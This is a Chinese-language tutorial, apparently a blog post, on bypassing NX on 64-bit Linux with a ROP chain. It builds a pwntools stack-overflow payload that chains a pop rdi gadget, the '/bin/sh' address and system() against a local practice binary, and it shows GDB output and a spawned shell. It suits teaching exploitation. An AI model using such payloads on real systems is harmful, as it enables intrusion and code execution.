NX 不可执行是一项重要的漏洞利用缓解措施,为了绕过 NX 我们需要利用已有的可执行区域的代码片段来辅助完整漏洞利用。

这次还是需要禁用 ASLR,编译参数为 gcc -g -O0 -fno-stack-protector -o vuln main.c

在 32 位系统中,函数调用参数都是通过栈来传递的,而在 64 位系统中,函数参数是优先使用寄存器来传递的,当参数少于 7 个时,参数从左到右放入寄存器 rdi, rsi, rdx, rcx, r8, r9,如果超过 7 个,剩下的参数还是使用栈来传递。

在 32 位系统中,因为栈是相对容易控制的,我们可以控制栈为函数参数的形式,然后覆盖返回地址为已有的函数地址,比如 libc 中的 system 函数,这样就可以实现任意命令执行了。但是在 64 位系统中,控制了栈是没有用的,必须要控制寄存器才可以,除非是函数不需要参数。所以我们需要找到一些已有的指令片段,比如 pop rdi,会把栈中的参数转移到寄存器中,这样逐步的控制所需的所有寄存器,我们称这种指令片段为 gadget。

需要什么

以执行 system("/bin/sh") 为例

system("/bin/sh")

system 函数的地址可以简单获得

gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x400550 <system@plt>

而寻找 /bin/sh 可以使用 find 命令

gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7ffff7b99d17 --> 0x68732f6e69622f ('/bin/sh')

发现 libc 中有一个,而 student 内存我们可以控制,也可以自己放置一个,这次先使用 libc 中的。

gadget 的选择

我们需要一个能把 0x7ffff7b99d17 放入寄存器的 gadget

ROPgadget 是一个寻找 gadget 的工具,安装后可以使用下面的命令来寻找

可以看到结果是

➜  new ROPgadget --binary vuln | grep rdi
0x0000000000400803 : pop rdi ; ret

发现结果非常理想, pop rdi; ret; 可以复制参数到寄存器,其次是 ret 可以让程序再回到我们控制的地址上继续后续的执行。

shellcode

仿照之前的写法,我们很简单就可以写出 shellcode

from pwn import *
shellcode = "1925\n"
shellcode += "A" * (0x7fffffffe348 - 0x7fffffffe2f0)
# pop rdi; ret
shellcode += p64(0x0000000000400803)
# /bin/sh
shellcode += p64(0x7ffff7b99d17)
# system
shellcode += p64(0x400550)

print shellcode

分析

这个栈布局已经是很清楚了

0016| 0x7fffffffe2f0 ('A' <repeats 88 times>, "\003\b@")
0024| 0x7fffffffe2f8 ('A' <repeats 80 times>, "\003\b@")
0032| 0x7fffffffe300 ('A' <repeats 72 times>, "\003\b@")
0040| 0x7fffffffe308 ('A' <repeats 64 times>, "\003\b@")
0048| 0x7fffffffe310 ('A' <repeats 56 times>, "\003\b@")
0056| 0x7fffffffe318 ('A' <repeats 48 times>, "\003\b@")
0064| 0x7fffffffe320 ('A' <repeats 40 times>, "\003\b@")
0072| 0x7fffffffe328 ('A' <repeats 32 times>, "\003\b@")
0080| 0x7fffffffe330 ('A' <repeats 24 times>, "\003\b@")
0088| 0x7fffffffe338 ('A' <repeats 16 times>, "\003\b@")
0096| 0x7fffffffe340 ("AAAAAAAA\003\b@")
0104| 0x7fffffffe348 --> 0x400803 (<__libc_csu_init+99>:	pop    rdi)
0112| 0x7fffffffe350 --> 0x7ffff7b99d17 --> 0x68732f6e69622f ('/bin/sh')
0120| 0x7fffffffe358 --> 0x400550 (<system@plt>:	jmp    QWORD PTR [rip+0x200aca]        # 0x601020)

在 GDB 中运行,可以看到 /bin/dash 被执行,其实 /bin/sh 就仅仅是它的一个符号链接。

gdb-peda$ r < in.txt
Starting program: /home/virusdefender/Desktop/pwn/new/vuln < in.txt
0x7fffffffe2f0What's Your Birth?
What's Your Name?
You Are Born In 1094795585
You Are Naive.
You Speed One Second Here.
[New process 4824]
process 4824 is executing new program: /bin/dash
[New process 4825]
process 4825 is executing new program: /bin/dash
[Inferior 3 (process 4825) exited normally]
Warning: not running or target is remote

会发现两个 /bin/dash 的原因是 system 函数的原理是 /bin/sh -c $cmd,所以会先启动一个 /bin/sh,然后 execve 想运行的命令,这里还是 /bin/sh

因为禁用 ASLR 的原因,libc 的加载地址不变,这个 shellcode 也是可以直接运行的

➜  new (cat in.txt; cat) |./vuln
0x7fffffffe360What's Your Birth?
What's Your Name?
You Are Born In 1094795585
You Are Naive.
You Speed One Second Here.
id
uid=1000(virusdefender) gid=1000(virusdefender) groups=1000(virusdefender),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

当然这个 gadget 也不唯一,比如 python Ropper.py --file /lib/x86_64-linux-gnu/libc.so.6 --search "pop|call" 得到的 0x00000000001073d9: pop rax; pop rdi; call rax; 也非常好用。

参考